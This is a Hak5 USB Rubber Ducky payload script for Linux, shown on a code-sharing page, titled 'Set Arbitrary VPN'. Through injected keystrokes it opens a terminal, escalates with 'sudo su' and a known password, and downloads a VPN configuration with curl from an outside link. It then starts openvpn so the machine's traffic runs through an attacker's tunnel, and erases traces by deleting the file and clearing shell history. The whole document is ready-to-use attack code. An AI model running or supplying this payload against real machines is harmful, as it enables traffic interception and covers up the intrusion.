Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/SetArbitraryVPN_Linux/payload.txt
2971 views
1
2
REM ####################################
3
REM # |
4
REM # Title : Set Arbitrary VPN |
5
REM # Author : Aleff |
6
REM # Version : 1.0 |
7
REM # Category : Execution |
8
REM # Target : Linux |
9
REM # |
10
REM ####################################
11
12
REM Requirements:
13
REM - Permissions
14
REM - Internet Connection
15
REM - 'openvpn' installed
16
17
REM REQUIRED: You need to know the sudo password and replace 'example' with this
18
DEFINE SUDO_PASS example
19
REM REQUIRED: Set your VPN file configuration replacing example.com with your own link
20
DEFINE VPN_FILE_LINK example.com
21
22
DELAY 1000
23
CTRL-ALT t
24
DELAY 2000
25
26
27
REM #### PERMISSIONS SECTION ####
28
29
30
STRING sudo su
31
ENTER
32
DELAY 1000
33
STRING SUDO_PASS
34
ENTER
35
DELAY 1000
36
37
38
REM #### VPN SECTION ####
39
40
41
STRING curl
42
STRING VPN_FILE_LINK
43
STRING > vpn_configuration.ovpn
44
ENTER
45
REM It depends by the internet connection
46
DELAY 2000
47
48
STRING openvpn vpn_configuration.ovpn
49
REM It depends by the computer power
50
DELAY 2000
51
52
53
REM #### REMOVE TRACES ####
54
55
56
STRING rm vpn_configuration.ovpn
57
ENTER
58
DELAY 500
59
60
STRING history -c
61
ENTER
62
DELAY 500
63
64
REM Exit from Sudo user
65
STRING exit
66
ENTER
67
DELAY 500
68
69
REM Close the shell
70
STRING exit
71
ENTER
72
73